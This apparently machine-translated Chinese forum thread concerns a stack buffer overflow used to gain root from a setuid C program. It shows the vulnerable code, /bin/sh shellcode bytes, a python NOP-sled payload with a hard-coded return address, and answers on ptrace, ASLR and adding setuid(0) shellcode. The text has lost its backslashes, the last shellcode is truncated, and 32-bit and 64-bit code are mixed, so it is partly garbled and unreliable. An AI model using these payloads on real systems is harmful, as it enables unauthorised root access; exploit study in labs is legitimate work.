如何使用具有root权限的易受攻击的程序获得权限提升



我正在尝试利用具有root权限的易受攻击程序的权限提升。我为此尝试了shell代码,但我不知道我在哪里犯了错误。

#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buf[256];
int len, i;
scanf("%s", buf);
len = strlen(buf);
printf("%sn", buf);
return 0;
}

缓冲区的地址从"0x7fffffffdfd0"开始。缓冲区的大小为 272 字节。我使用了以下 29 字节的外壳代码:

x6ax42x58xfexc4x48x99x52x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5ex49x89xd0x49x89xd2x0fx05

此外,我还对攻击场景使用了以下输入:

(python -c 'print x90"*243+"x6ax42x58xfexc4x48x99x52x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5ex49x89xd0x49x89xd2x0fx05"+"xd0xdfxffxffxffx7f"') > payload.txt

当我在GDB中使用"运行<有效负载.txt"运行程序时,Ido不会收到root访问权限。任何想法或解决方案将不胜感激。>

当我在 GDB 中使用"运行<有效负载.txt"运行程序时,我不会收到根访问权限。>

这是意料之中的:setuid 程序在ptrace d 时(在调试器下运行时(不会从内核获得特殊权限。否则,就有可能劫持任何setuid程序(而不仅仅是易受攻击的程序(。

缓冲区的地址从"0x7fffffffdfd0"开始。

你怎么知道?您是否在GDB找到该地址?您是否禁用了 ASLR?

GDB 禁用 ASLR(为了使调试更容易 - 所有内容始终位于同一地址(。

如果未在系统范围内禁用 ASLR,则buffer可能不会从 0x7fffffffdfd0 开始。

我想

,用setuid(0)添加你的外壳代码

"x31xdbx89xd8xb0x17xcdx80" // setuid(0)

修改后的外壳代码:

x31xdbx89xd8xb0x17xcdx80x6ax42x58xfexc4x48x99x52x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5ex49x89xd0x49x89xd2x0fx0

相关内容

  • 没有找到相关文章

最新更新